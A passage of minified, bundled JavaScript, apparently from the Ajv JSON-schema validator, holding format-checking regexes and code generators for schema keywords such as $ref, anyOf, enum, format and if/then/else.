t=t=="full"?"full":"fast",k8.copy(Eu[t])}Eu.fast={date:/^\d\d\d\d-[0-1]\d-[0-3]\d$/,time:/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,"date-time":/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,"uri-template":mw,url:hw,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i,hostname:fw,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:ww,uuid:vw,"json-pointer":gw,"json-pointer-uri-fragment":yw,"relative-json-pointer":_w};Eu.full={date:bw,time:xw,"date-time":N8,uri:M8,"uri-reference":C8,"uri-template":mw,url:hw,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:fw,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:ww,uuid:vw,"json-pointer":gw,"json-pointer-uri-fragment":yw,"relative-json-pointer":_w};function I8(t){return t%4===0&&(t%100!==0||t%400===0)}function bw(t){var e=t.match($8);if(!e)return!1;var r=+e[1],n=+e[2],a=+e[3];return n>=1&&n<=12&&a>=1&&a<=(n==2&&I8(r)?29:R8[n])}function xw(t,e){var r=t.match(P8);if(!r)return!1;var n=r[1],a=r[2],s=r[3],i=r[5];return(n<=23&&a<=59&&s<=59||n==23&&a==59&&s==60)&&(!e||i)}var A8=/t|\s/i;function N8(t){var e=t.split(A8);return e.length==2&&bw(e[0])&&xw(e[1],!0)}var j8=/\/|:/;function M8(t){return j8.test(t)&&O8.test(t)}var D8=/[^\\]\\Z/;function ww(t){if(D8.test(t))return!1;try{return new RegExp(t),!0}catch{return!1}}});var kw=V((vW,Tw)=>{"use strict";Tw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.errSchemaPath+"/"+r,u=!e.opts.allErrors,l="data"+(i||""),d="valid"+s,f,m;if(o=="#"||o=="#/")e.isRoot?(f=e.async,m="validate"):(f=e.root.schema.$async===!0,m="root.refVal[0]");else{var g=e.resolveRef(e.baseId,o,e.isRoot);if(g===void 0){var b=e.MissingRefError.message(e.baseId,o);if(e.opts.missingRefs=="fail"){e.logger.error(b);var p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '$ref' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(c)+" , params: { ref: '"+e.util.escapeQuotes(o)+"' } ",e.opts.messages!==!1&&(a+=" , message: 'can\\'t resolve reference "+e.util.escapeQuotes(o)+"' "),e.opts.verbose&&(a+=" , schema: "+e.util.toQuotedString(o)+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+l+" "),a+=" } "):a+=" {} ";var h=a;a=p.pop(),!e.compositeRule&&u?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",u&&(a+=" if (false) { ")}else if(e.opts.missingRefs=="ignore")e.logger.warn(b),u&&(a+=" if (true) { ");else throw new e.MissingRefError(e.baseId,o,b)}else if(g.inline){var y=e.util.copy(e);y.level++;var v="valid"+y.level;y.schema=g.schema,y.schemaPath="",y.errSchemaPath=o;var _=e.validate(y).replace(/validate\.schema/g,g.code);a+=" "+_+" ",u&&(a+=" if ("+v+") { ")}else f=g.$async===!0||e.async&&g.$async!==!1,m=g.code}if(m){var p=p||[];p.push(a),a="",e.opts.passContext?a+=" "+m+".call(this, ":a+=" "+m+"( ",a+=" "+l+", (dataPath || '')",e.errorPath!='""'&&(a+=" + "+e.errorPath);var S=i?"data"+(i-1||""):"parentData",x=i?e.dataPathArr[i]:"parentDataProperty";a+=" , "+S+" , "+x+", rootData) ";var E=a;if(a=p.pop(),f){if(!e.async)throw new Error("async schema referenced by sync schema");u&&(a+=" var "+d+"; "),a+=" try { await "+E+"; ",u&&(a+=" "+d+" = true; "),a+=" } catch (e) { if (!(e instanceof ValidationError)) throw e; if (vErrors === null) vErrors = e.errors; else vErrors = vErrors.concat(e.errors); errors = vErrors.length; ",u&&(a+=" "+d+" = false; "),a+=" } ",u&&(a+=" if ("+d+") { ")}else a+=" if (!"+E+") { if (vErrors === null) vErrors = "+m+".errors; else vErrors = vErrors.concat("+m+".errors); errors = vErrors.length; } ",u&&(a+=" else { ")}return a}});var Rw=V((gW,$w)=>{"use strict";$w.exports=function(e,r,n){var a=" ",s=e.schema[r],i=e.schemaPath+e.util.getProperty(r),o=e.errSchemaPath+"/"+r,c=!e.opts.allErrors,u=e.util.copy(e),l="";u.level++;var d="valid"+u.level,f=u.baseId,m=!0,g=s;if(g)for(var b,p=-1,h=g.length-1;p0||b===!1:e.util.schemaHasRules(b,e.RULES.all))&&(m=!1,u.schema=b,u.schemaPath=i+"["+p+"]",u.errSchemaPath=o+"/"+p,a+=" "+e.validate(u)+" ",u.baseId=f,c&&(a+=" if ("+d+") { ",l+="}"));return c&&(m?a+=" if (true) { ":a+=" "+l.slice(0,-1)+" "),a}});var Ow=V((yW,Pw)=>{"use strict";Pw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h=o.every(function(T){return e.opts.strictKeywords?typeof T=="object"&&Object.keys(T).length>0||T===!1:e.util.schemaHasRules(T,e.RULES.all)});if(h){var y=g.baseId;a+=" var "+m+" = errors; var "+f+" = false; ";var v=e.compositeRule;e.compositeRule=g.compositeRule=!0;var _=o;if(_)for(var S,x=-1,E=_.length-1;x{"use strict";Cw.exports=function(e,r,n){var a=" ",s=e.schema[r],i=e.errSchemaPath+"/"+r,o=!e.opts.allErrors,c=e.util.toQuotedString(s);return e.opts.$comment===!0?a+=" console.log("+c+");":typeof e.opts.$comment=="function"&&(a+=" self._opts.$comment("+c+", "+e.util.toQuotedString(i)+", validate.root.schema);"),a}});var Nw=V((bW,Aw)=>{"use strict";Aw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o,m||(a+=" var schema"+s+" = validate.schema"+c+";"),a+="var "+f+" = equal("+d+", schema"+s+"); if (!"+f+") { ";var b=b||[];b.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'const' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { allowedValue: schema"+s+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be equal to constant' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var p=a;return a=b.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+p+"]); ":a+=" validate.errors = ["+p+"]; return false; ":a+=" var err = "+p+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" }",l&&(a+=" else { "),a}});var Mw=V((xW,jw)=>{"use strict";jw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h="i"+s,y=g.dataLevel=e.dataLevel+1,v="data"+y,_=e.baseId,S=e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all);if(a+="var "+m+" = errors;var "+f+";",S){var x=e.compositeRule;e.compositeRule=g.compositeRule=!0,g.schema=o,g.schemaPath=c,g.errSchemaPath=u,a+=" var "+p+" = false; for (var "+h+" = 0; "+h+" < "+d+".length; "+h+"++) { ",g.errorPath=e.util.getPathExpr(e.errorPath,h,e.opts.jsonPointers,!0);var E=d+"["+h+"]";g.dataPathArr[y]=h;var T=e.validate(g);g.baseId=_,e.util.varOccurences(T,v)<2?a+=" "+e.util.varReplace(T,v,E)+" ":a+=" var "+v+" = "+E+"; "+T+" ",a+=" if ("+p+") break; } ",e.compositeRule=g.compositeRule=x,a+=" "+b+" if (!"+p+") {"}else a+=" if ("+d+".length == 0) {";var $=$||[];$.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'contains' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'should contain a valid item' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var N=a;return a=$.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+N+"]); ":a+=" validate.errors = ["+N+"]; return false; ":a+=" var err = "+N+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else { ",S&&(a+=" errors = "+m+"; if (vErrors !== null) { if ("+m+") vErrors.length = "+m+"; else vErrors = null; } "),e.opts.allErrors&&(a+=" } "),a}});var qw=V((wW,Dw)=>{"use strict";Dw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e),g="";m.level++;var b="valid"+m.level,p={},h={},y=e.opts.ownProperties;for(x in o)if(x!="__proto__"){var v=o[x],_=Array.isArray(v)?h:p;_[x]=v}a+="var "+f+" = errors;";var S=e.errorPath;a+="var missing"+s+";";for(var x in h)if(_=h[x],_.length){if(a+=" if ( "+d+e.util.getProperty(x)+" !== undefined ",y&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(x)+"') "),l){a+=" && ( ";var E=_;if(E)for(var T,$=-1,N=E.length-1;$0||v===!1:e.util.schemaHasRules(v,e.RULES.all))&&(a+=" "+b+" = true; if ( "+d+e.util.getProperty(x)+" !== undefined ",y&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(x)+"') "),a+=") { ",m.schema=v,m.schemaPath=c+e.util.getProperty(x),m.errSchemaPath=u+"/"+e.util.escapeFragment(x),a+=" "+e.validate(m)+" ",m.baseId=F,a+=" } ",l&&(a+=" if ("+b+") { ",g+="}"))}return l&&(a+=" "+g+" if ("+f+" == errors) {"),a}});var Fw=V((SW,Lw)=>{"use strict";Lw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o;var b="i"+s,p="schema"+s;m||(a+=" var "+p+" = validate.schema"+c+";"),a+="var "+f+";",m&&(a+=" if (schema"+s+" === undefined) "+f+" = true; else if (!Array.isArray(schema"+s+")) "+f+" = false; else {"),a+=""+f+" = false;for (var "+b+"=0; "+b+"<"+p+".length; "+b+"++) if (equal("+d+", "+p+"["+b+"])) { "+f+" = true; break; }",m&&(a+=" } "),a+=" if (!"+f+") { ";var h=h||[];h.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'enum' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { allowedValues: schema"+s+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be equal to one of the allowed values' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var y=a;return a=h.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+y+"]); ":a+=" validate.errors = ["+y+"]; return false; ":a+=" var err = "+y+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" }",l&&(a+=" else { "),a}});var Uw=V((EW,zw)=>{"use strict";zw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||"");if(e.opts.format===!1)return l&&(a+=" if (true) { "),a;var f=e.opts.$data&&o&&o.$data,m;f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o;var g=e.opts.unknownFormats,b=Array.isArray(g);if(f){var p="format"+s,h="isObject"+s,y="formatType"+s;a+=" var "+p+" = formats["+m+"]; var "+h+" = typeof "+p+" == 'object' && !("+p+" instanceof RegExp) && "+p+".validate; var "+y+" = "+h+" && "+p+".type || 'string'; if ("+h+") { ",e.async&&(a+=" var async"+s+" = "+p+".async; "),a+=" "+p+" = "+p+".validate; } if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'string') || "),a+=" (",g!="ignore"&&(a+=" ("+m+" && !"+p+" ",b&&(a+=" && self._opts.unknownFormats.indexOf("+m+") == -1 "),a+=") || "),a+=" ("+p+" && "+y+" == '"+n+"' && !(typeof "+p+" == 'function' ? ",e.async?a+=" (async"+s+" ? await "+p+"("+d+") : "+p+"("+d+")) ":a+=" "+p+"("+d+") ",a+=" : "+p+".test("+d+"))))) {"}else{var p=e.formats[o];if(!p){if(g=="ignore")return e.logger.warn('unknown format "'+o+'" ignored in schema at path "'+e.errSchemaPath+'"'),l&&(a+=" if (true) { "),a;if(b&&g.indexOf(o)>=0)return l&&(a+=" if (true) { "),a;throw new Error('unknown format "'+o+'" is used in schema at path "'+e.errSchemaPath+'"')}var h=typeof p=="object"&&!(p instanceof RegExp)&&p.validate,y=h&&p.type||"string";if(h){var v=p.async===!0;p=p.validate}if(y!=n)return l&&(a+=" if (true) { "),a;if(v){if(!e.async)throw new Error("async format in sync schema");var _="formats"+e.util.getProperty(o)+".validate";a+=" if (!(await "+_+"("+d+"))) { "}else{a+=" if (! ";var _="formats"+e.util.getProperty(o);h&&(_+=".validate"),typeof p=="function"?a+=" "+_+"("+d+") ":a+=" "+_+".test("+d+") ",a+=") { "}}var S=S||[];S.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'format' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { format: ",f?a+=""+m:a+=""+e.util.toQuotedString(o),a+=" } ",e.opts.messages!==!1&&(a+=` , message: 'should match format "`,f?a+="' + "+m+" + '":a+=""+e.util.escapeQuotes(o),a+=`"' `),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+e.util.toQuotedString(o),a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var x=a;return a=S.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+x+"]); ":a+=" validate.errors = ["+x+"]; return false; ":a+=" var err = "+x+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",l&&(a+=" else { "),a}});var Bw=V((TW,Hw)=>{"use strict";Hw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e);g.level++;var b="valid"+g.level,p=e.schema.then,h=e.schema.else,y=p!==void 0&&(e.opts.strictKeywords?typeof p=="object"&&Object.keys(p).length>0||p===!1:e.util.schemaHasRules(p,e.RULES.all)),v=h!==void 0&&(e.opts.strictKeywords?typeof h=="object"&&Object.keys(h).length>0||h===!1:e.util.schemaHasRules(h,e.RULES.all)),_=g.baseId;if(y||v){var S;g.createErrors=!1,g.schema=o,g.schemaPath=c,g.errSchemaPath=u,a+=" var "+m+" = errors; var "+f+" = true; ";var x=e.compositeRule;e.compositeRule=g.compositeRule=!0,a+=" "+e.validate(g)+" ",g.baseId=_,g.createErrors=!0,a+=" errors = "+m+"; if (vErrors !== null) { if ("+m+") vErrors.length = "+m+"; else vErrors = null; } ",e.compositeRule=g.compositeRule=x,y?(a+=" if ("+b+") { ",g.schema=e.schema.then,g.schemaPath=e.schemaPath+".then",g.errSchemaPath=e.errSchemaPath+"/then",a+=" "+e.validate(g)+" ",g.baseId=_,a+=" "+f+" = "+b+"; ",y&&v?(S="ifClause"+s,a+=" var "+S+" = 'then'; "):S="'then'",a+=" } ",v&&(a+=" else { ")):a+=" if (!"+b+") { ",v&&(g.schema=e.schema.else,g.schemaPath=e.schemaPath+".else",g.errSchemaPath=e.errSchemaPath+"/else",a+=" "+e.validate(g)+" ",g.baseId=_,a+=" "+f+" = "+b+"; ",y&&v?(S="ifClause"+s,a+=" var "+S+" = 'else'; "):S="'else'",a+=" } "),a+=" if (!"+f+") { var err = ",e.createErrors!==!1?(a+=" { keyword: 'if' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { failingKeyword: "+S+" } ",e.opts.messages!==!1&&(a+=` , message: 'should match "' + `+S+` + '" schema' `),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ",a+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&l&&(e.async?a+=" throw new ValidationError(vErrors); ":a+=" validate.errors = vErrors; return false; "),a+=" } ",l&&(a+=" else { ")}else l&&(a+=" if (true) { ");return a}});var Zw=V((kW,Vw)=>{"use strict";Vw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h="i"+s,y=g.dataLevel=e.dataLevel+1,v="data"+y,_=e.baseId;if(a+="var "+m+" = errors;var "+f+";",Array.isArray(o)){var S=e.schema.additionalItems;if(S===!1){a+=" "+f+" = "+d+".length <= "+o.length+"; ";var x=u;u=e.errSchemaPath+"/additionalItems",a+=" if (!"+f+") { ";var E=E||[];E.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'additionalItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+o.length+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have more than "+o.length+" items' "),e.opts.verbose&&(a+=" , schema: false , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var T=a;a=E.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+T+"]); ":a+=" validate.errors = ["+T+"]; return false; ":a+=" var err = "+T+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",u=x,l&&(b+="}",a+=" else { ")}var $=o;if($){for(var N,j=-1,q=$.length-1;j0||N===!1:e.util.schemaHasRules(N,e.RULES.all)){a+=" "+p+" = true; if ("+d+".length > "+j+") { ";var H=d+"["+j+"]";g.schema=N,g.schemaPath=c+"["+j+"]",g.errSchemaPath=u+"/"+j,g.errorPath=e.util.getPathExpr(e.errorPath,j,e.opts.jsonPointers,!0),g.dataPathArr[y]=j;var A=e.validate(g);g.baseId=_,e.util.varOccurences(A,v)<2?a+=" "+e.util.varReplace(A,v,H)+" ":a+=" var "+v+" = "+H+"; "+A+" ",a+=" } ",l&&(a+=" if ("+p+") { ",b+="}")}}if(typeof S=="object"&&(e.opts.strictKeywords?typeof S=="object"&&Object.keys(S).length>0||S===!1:e.util.schemaHasRules(S,e.RULES.all))){g.schema=S,g.schemaPath=e.schemaPath+".additionalItems",g.errSchemaPath=e.errSchemaPath+"/additionalItems",a+=" "+p+" = true; if ("+d+".length > "+o.length+") { for (var "+h+" = "+o.length+"; "+h+" < "+d+".length; "+h+"++) { ",g.errorPath=e.util.getPathExpr(e.errorPath,h,e.opts.jsonPointers,!0);var H=d+"["+h+"]";g.dataPathArr[y]=h;var A=e.validate(g);g.baseId=_,e.util.varOccurences(A,v)<2?a+=" "+e.util.varReplace(A,v,H)+" ":a+=" var "+v+" = "+H+"; "+A+" ",l&&(a+=" if (!"+p+") break; "),a+=" } } ",l&&(a+=" if ("+p+") { ",b+="}")}}else if(e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all)){g.schema=o,g.schemaPath=c,g.errSchemaPath=u,a+=" for (var "+h+" = 0; "+h+" < "+d+".length; "+h+"++) { ",g.errorPath=e.util.getPathExpr(e.errorPath,h,e.opts.jsonPointers,!0);var H=d+"["+h+"]";g.dataPathArr[y]=h;var A=e.validate(g);g.baseId=_,e.util.varOccurences(A,v)<2?a+=" "+e.util.varReplace(A,v,H)+" ":a+=" var "+v+" = "+H+"; "+A+" ",l&&(a+=" if (!"+p+") break; "),a+=" }"}return l&&(a+=" "+b+" if ("+m+" == errors) {"),a}});var Rf=V(($W,Gw)=>{"use strict";Gw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,_,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o;var g=r=="maximum",b=g?"exclusiveMaximum":"exclusiveMinimum",p=e.schema[b],h=e.opts.$data&&p&&p.$data,y=g?"<":">",v=g?">":"<",_=void 0;if(!(f||typeof o=="number"||o===void 0))throw new Error(r+" must be number");if(!(h||p===void 0||typeof p=="number"||typeof p=="boolean"))throw new Error(b+" must be number or boolean");if(h){var S=e.util.getData(p.$data,i,e.dataPathArr),x="exclusive"+s,E="exclType"+s,T="exclIsNumber"+s,$="op"+s,N="' + "+$+" + '";a+=" var schemaExcl"+s+" = "+S+"; ",S="schemaExcl"+s,a+=" var "+x+"; var "+E+" = typeof "+S+"; if ("+E+" != 'boolean' && "+E+" != 'undefined' && "+E+" != 'number') { ";var _=b,j=j||[];j.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(_||"_exclusiveLimit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: '"+b+" should be boolean' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var q=a;a=j.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+q+"]); ":a+=" validate.errors = ["+q+"]; return false; ":a+=" var err = "+q+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" "+E+" == 'number' ? ( ("+x+" = "+m+" === undefined || "+S+" "+y+"= "+m+") ? "+d+" "+v+"= "+S+" : "+d+" "+v+" "+m+" ) : ( ("+x+" = "+S+" === true) ? "+d+" "+v+"= "+m+" : "+d+" "+v+" "+m+" ) || "+d+" !== "+d+") { var op"+s+" = "+x+" ? '"+y+"' : '"+y+"='; ",o===void 0&&(_=b,u=e.errSchemaPath+"/"+b,m=S,f=h)}else{var T=typeof p=="number",N=y;if(T&&f){var $="'"+N+"'";a+=" if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" ( "+m+" === undefined || "+p+" "+y+"= "+m+" ? "+d+" "+v+"= "+p+" : "+d+" "+v+" "+m+" ) || "+d+" !== "+d+") { "}else{T&&o===void 